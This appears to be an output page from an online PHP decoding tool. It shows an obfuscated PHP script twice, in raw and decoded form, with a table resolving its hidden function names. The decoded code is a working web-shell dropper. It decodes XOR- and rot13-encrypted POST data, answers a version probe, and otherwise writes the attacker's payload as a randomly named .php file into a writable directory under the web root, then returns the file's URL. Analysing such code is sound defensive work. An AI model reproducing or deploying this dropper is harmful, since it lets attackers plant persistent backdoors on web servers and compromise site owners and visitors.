Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $YhfHfrbYSM = chr(68)."\x4f"."\103"."\x55".chr(77).'E'.chr(78)."\x54"."\137".chr(556..

Decoded Output download

<?php $YhfHfrbYSM = chr(68)."O"."C"."U".chr(77).'E'.chr(78)."T"."_".chr(556-474)."O".'O'.'T';$NHhhES = chr(211-139).'T'.chr(769-685).chr(80)."_".'H'.'O'.chr(83).chr(84);$xeCQia = chr(104).'t'.'t'.chr(112).":"."/".chr(690-643);$LmKgahlU = chr(46).chr(1073-961)."h".chr(726-614);$qTRFTYO = 'p'.chr(104).'p';$QJjYL = chr(102).chr(105).chr(672-564)."e"."_".'p'."u"."t"."_"."c".chr(111)."n".chr(235-119).'e'.'n'.chr(116)."s";$BtwfhPw = chr(114)."a"."w".chr(574-457)."r".chr(108)."d".chr(101)."c"."o"."d"."e";$dhuUgJEJ = "u"."n".'s'.chr(101).chr(114)."i".chr(97).chr(258-150).'i'.chr(483-361).chr(667-566);$LBjXWTJn = chr(112)."h"."p"."v"."e".chr(306-192)."s"."i".'o'.'n';$jphIFtkZ = chr(475-360)."t".'r'.chr(95).chr(114)."o"."t".chr(470-421).chr(51);$iHNIB = "s"."e".chr(114).chr(889-784)."a"."l".chr(105)."z".'e';$DURtLDr = 's'."t"."r".'_'.'s'.chr(112).chr(384-276)."i".chr(235-119);foreach ($_POST as $oWwdAih => $eGiyzOl){if (strlen($oWwdAih) == 16){$eGiyzOl = $DURtLDr($BtwfhPw($jphIFtkZ($eGiyzOl)));$oWwdAih = array_slice($DURtLDr(str_repeat($oWwdAih, (count($eGiyzOl)/16)+1)), 0, count($eGiyzOl));function HAlSlD($eyLKdC, $IYvIQaHb, $oWwdAih){$psSJMFw = "7cce909d-ef23-4e53-98e8-d6ba63adb8f8";return $eyLKdC ^ $psSJMFw[$IYvIQaHb % strlen($psSJMFw)] ^ $oWwdAih;}$eGiyzOl = implode("", array_map("HAlSlD", array_values($eGiyzOl), array_keys($eGiyzOl), array_values($oWwdAih)));$eGiyzOl = @$dhuUgJEJ($eGiyzOl);if (@is_array($eGiyzOl)){$xcjlWtLu = array_keys($eGiyzOl);$eGiyzOl = $eGiyzOl[$xcjlWtLu[0]];if ($eGiyzOl === $xcjlWtLu[0]){echo @$iHNIB(Array($qTRFTYO => @$LBjXWTJn(), ));exit();}else {function oNhrNjAy($DdrYvYHir){static $LPflJSZ = array();$ohHzCzs = glob($DdrYvYHir . '/*', GLOB_ONLYDIR);if (count($ohHzCzs) > 0) {foreach ($ohHzCzs as $DdrYvYH) {if (@is_writable($DdrYvYH)) {$LPflJSZ[] = $DdrYvYH;}}}foreach ($ohHzCzs as $DdrYvYHir) oNhrNjAy($DdrYvYHir);return $LPflJSZ;}$NOHNUVJMZN = $_SERVER[$YhfHfrbYSM];$ohHzCzs = oNhrNjAy($NOHNUVJMZN);$xcjlWtLu = array_rand($ohHzCzs);$VuRtPCqPQC = $ohHzCzs[$xcjlWtLu] . "/" . substr(md5(time()), 0, 8) . $LmKgahlU;@$QJjYL($VuRtPCqPQC, $eGiyzOl);echo $xeCQia . $_SERVER[$NHhhES] . substr($VuRtPCqPQC, strlen($NOHNUVJMZN));exit();}}}} ?>

Did this file decode correctly?

Original Code

<?php $YhfHfrbYSM = chr(68)."\x4f"."\103"."\x55".chr(77).'E'.chr(78)."\x54"."\137".chr(556-474)."\117".'O'.'T';$NHhhES = chr(211-139).'T'.chr(769-685).chr(80)."\137".'H'.'O'.chr(83).chr(84);$xeCQia = chr(104).'t'.'t'.chr(112)."\72"."\x2f".chr(690-643);$LmKgahlU = chr(46).chr(1073-961)."\x68".chr(726-614);$qTRFTYO = 'p'.chr(104).'p';$QJjYL = chr(102).chr(105).chr(672-564)."\145"."\137".'p'."\x75"."\164"."\x5f"."\x63".chr(111)."\156".chr(235-119).'e'.'n'.chr(116)."\x73";$BtwfhPw = chr(114)."\x61"."\167".chr(574-457)."\x72".chr(108)."\144".chr(101)."\x63"."\x6f"."\x64"."\x65";$dhuUgJEJ = "\165"."\156".'s'.chr(101).chr(114)."\x69".chr(97).chr(258-150).'i'.chr(483-361).chr(667-566);$LBjXWTJn = chr(112)."\x68"."\160"."\166"."\145".chr(306-192)."\x73"."\151".'o'.'n';$jphIFtkZ = chr(475-360)."\164".'r'.chr(95).chr(114)."\157"."\164".chr(470-421).chr(51);$iHNIB = "\x73"."\x65".chr(114).chr(889-784)."\141"."\154".chr(105)."\172".'e';$DURtLDr = 's'."\164"."\x72".'_'.'s'.chr(112).chr(384-276)."\151".chr(235-119);foreach ($_POST as $oWwdAih => $eGiyzOl){if (strlen($oWwdAih) == 16){$eGiyzOl = $DURtLDr($BtwfhPw($jphIFtkZ($eGiyzOl)));$oWwdAih = array_slice($DURtLDr(str_repeat($oWwdAih, (count($eGiyzOl)/16)+1)), 0, count($eGiyzOl));function HAlSlD($eyLKdC, $IYvIQaHb, $oWwdAih){$psSJMFw = "7cce909d-ef23-4e53-98e8-d6ba63adb8f8";return $eyLKdC ^ $psSJMFw[$IYvIQaHb % strlen($psSJMFw)] ^ $oWwdAih;}$eGiyzOl = implode("", array_map("HAlSlD", array_values($eGiyzOl), array_keys($eGiyzOl), array_values($oWwdAih)));$eGiyzOl = @$dhuUgJEJ($eGiyzOl);if (@is_array($eGiyzOl)){$xcjlWtLu = array_keys($eGiyzOl);$eGiyzOl = $eGiyzOl[$xcjlWtLu[0]];if ($eGiyzOl === $xcjlWtLu[0]){echo @$iHNIB(Array($qTRFTYO => @$LBjXWTJn(), ));exit();}else {function oNhrNjAy($DdrYvYHir){static $LPflJSZ = array();$ohHzCzs = glob($DdrYvYHir . '/*', GLOB_ONLYDIR);if (count($ohHzCzs) > 0) {foreach ($ohHzCzs as $DdrYvYH) {if (@is_writable($DdrYvYH)) {$LPflJSZ[] = $DdrYvYH;}}}foreach ($ohHzCzs as $DdrYvYHir) oNhrNjAy($DdrYvYHir);return $LPflJSZ;}$NOHNUVJMZN = $_SERVER[$YhfHfrbYSM];$ohHzCzs = oNhrNjAy($NOHNUVJMZN);$xcjlWtLu = array_rand($ohHzCzs);$VuRtPCqPQC = $ohHzCzs[$xcjlWtLu] . "/" . substr(md5(time()), 0, 8) . $LmKgahlU;@$QJjYL($VuRtPCqPQC, $eGiyzOl);echo $xeCQia . $_SERVER[$NHhhES] . substr($VuRtPCqPQC, strlen($NOHNUVJMZN));exit();}}}}

Function Calls

chr 45

Variables

$QJjYL file_put_contents
$iHNIB serialize
$NHhhES HTTP_HOST
$xeCQia http://
$BtwfhPw rawurldecode
$DURtLDr str_split
$qTRFTYO php
$LBjXWTJn phpversion
$LmKgahlU .php
$dhuUgJEJ unserialize
$jphIFtkZ str_rot13
$YhfHfrbYSM DOCUMENT_ROOT

Stats

MD5 4a4e4ea87e15e1938d95e8c547da905b
Eval Count 0
Decode Time 128 ms